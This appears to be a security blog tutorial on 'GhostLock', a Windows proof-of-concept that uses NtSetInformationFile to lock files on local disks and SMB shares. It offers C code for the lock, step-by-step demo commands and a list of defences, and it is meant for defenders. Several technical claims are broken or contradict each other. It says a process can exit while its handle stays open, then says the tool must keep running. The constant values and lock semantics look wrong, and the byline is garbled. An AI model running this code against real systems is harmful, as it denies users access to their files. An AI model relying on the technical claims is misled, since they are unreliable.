GhostLock Exposed: Understanding the Windows API Exploit and Defending Against File Access Blockades

By ✦ min read

Overview

GhostLock is a proof-of-concept tool released by a security researcher that reveals how a legitimate Windows file API can be abused to block access to files stored locally or on SMB network shares. The attack does not delete or corrupt data, but it effectively prevents any user or process from opening, reading, writing, or deleting the targeted file until the system is rebooted or the lock is manually released. This technique exploits a rarely monitored API call, making it a stealthy denial-of-service vector for specific files. Understanding how GhostLock works is crucial for security professionals and system administrators who need to protect critical files and share environments from such lockouts.

Prerequisites

Before diving into the technical details, ensure you have the following knowledge and environment ready:

• Basic Windows Internals: Familiarity with NTFS file system, handles, and file operations.
• Windows API Knowledge: Understanding of how system calls like NtSetInformationFile work (optional but helpful).
• Development Environment: A Windows test machine with Visual Studio or MinGW to compile code (or use an existing GhostLock binary for testing in an isolated VM).
• Safety Precautions: Never run this tool on production systems; use a dedicated test environment.

Step-by-Step Breakdown

1. How GhostLock Works

GhostLock abuses the NtSetInformationFile system call with a specific information class: FileDispositionInfoEx (introduced in Windows 10). Normally, this API is used to mark a file for deletion on close. However, GhostLock sets a flag that instructs the file system to delete the file when the last handle is closed, but then deliberately keeps a handle open indefinitely. Because the file is marked for deletion, the system places an exclusive lock (a POSIX-style lock) on the file, preventing any subsequent open requests—even from other processes—until the holding handle is closed.

Here is a simplified C code snippet demonstrating the core mechanism:

#include <windows.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

typedef NTSTATUS (NTAPI *pNtSetInformationFile)(
    HANDLE FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID FileInformation,
    ULONG Length,
    FILE_INFORMATION_CLASS FileInformationClass
);

typedef struct _FILE_DISPOSITION_INFO_EX {
    DWORD Flags;
} FILE_DISPOSITION_INFO_EX, *PFILE_DISPOSITION_INFO_EX;

#define FileDispositionInfoEx 21
#define FILE_DISPOSITION_FLAG_DELETE 0x00000001
#define FILE_DISPOSITION_FLAG_POSIX_SEMANTICS 0x00000002
#define FILE_DISPOSITION_FLAG_FORCE_IMAGE_SECTION_CHECK 0x00000004
#define FILE_DISPOSITION_FLAG_ON_CLOSE 0x00000008

void GhostLockFile(const wchar_t* path) {
    HANDLE hFile = CreateFileW(
        path,
        GENERIC_READ | GENERIC_WRITE,
        0, // no sharing
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS,
        NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) return;

    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    pNtSetInformationFile NtSetInformationFile = (pNtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile");

    FILE_DISPOSITION_INFO_EX info;
    info.Flags = FILE_DISPOSITION_FLAG_DELETE | FILE_DISPOSITION_FLAG_POSIX_SEMANTICS;

    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status = NtSetInformationFile(
        hFile,
        &ioStatus,
        &info,
        sizeof(info),
        FileDispositionInfoEx
    );
    // Keep handle open to maintain the lock – do NOT close hFile.
    // The file is now locked until reboot or handle closure.
}

The key is that the handle is never closed; the program can exit but the kernel keeps the handle open in the process’s context. For a persistent lock, the tool must keep running or inject the handle into a system process (as GhostLock does).

2. Demonstration in a Test Environment

Warning: This step must only be performed on a non‑production virtual machine. Use a disposable test file.

1. Create a test file: echo "test" > C:\Test\ghost_target.txt
2. Run compiled GhostLock (or use the released binary) targeting this file: GhostLock.exe C:\Test\ghost_target.txt
3. Attempt to open the file from another command prompt: notepad C:\Test\ghost_target.txt – it will fail with “Access Denied” or “The file is in use”.
4. Try to delete the file: del C:\Test\ghost_target.txt – also fails.
5. To unlock, either reboot the system or kill the process holding the handle (if running in user mode). In GhostLock’s case, it injects into a system process, so reboot is necessary.

3. Defensive Measures

Protecting against GhostLock requires monitoring and proactive security policies:

• Monitor NtSetInformationFile calls: Enable process auditing via ETW (Event Tracing for Windows) and look for FileDispositionInfoEx with POSIX_SEMANTICS flag on critical files.
• Use Windows Defender Application Control (WDAC): Block untrusted binaries from running, especially those attempting to load ntdll.dll functions.
• Implement file integrity monitoring: Alert on unexpected exclusive locks or file deletion marks.
• Apply Microsoft security patches: While this is by design, future updates may introduce mitigations.
• SMB shares: Enforce access control lists (ACLs) and restrict write permissions to trusted users only.

Common Mistakes

• Mistaking GhostLock for ransomware: GhostLock does not encrypt or delete data; it only blocks access. Yet the symptoms are similar. Check for a locked handle rather than encryption.
• Unplugging the machine: Sudden power loss may corrupt the file system; a controlled reboot is safer.
• Ignoring SMB implications: The attack works on network shares because the lock is server‑side. Ensure SMB signing and secure configurations are enabled.
• Relying only on process–based detection: GhostLock can inject into system processes, so checking task manager may not reveal the culprit. Use kernel‑mode debugging or Sysinternals tools like Handle.

Summary

GhostLock demonstrates a critical abuse of the Windows NtSetInformationFile API to create persistent file locks without corruption. By understanding the mechanism and implementing monitoring, access controls, and reboot procedures, you can effectively defend against this stealthy denial‑of‑service attack.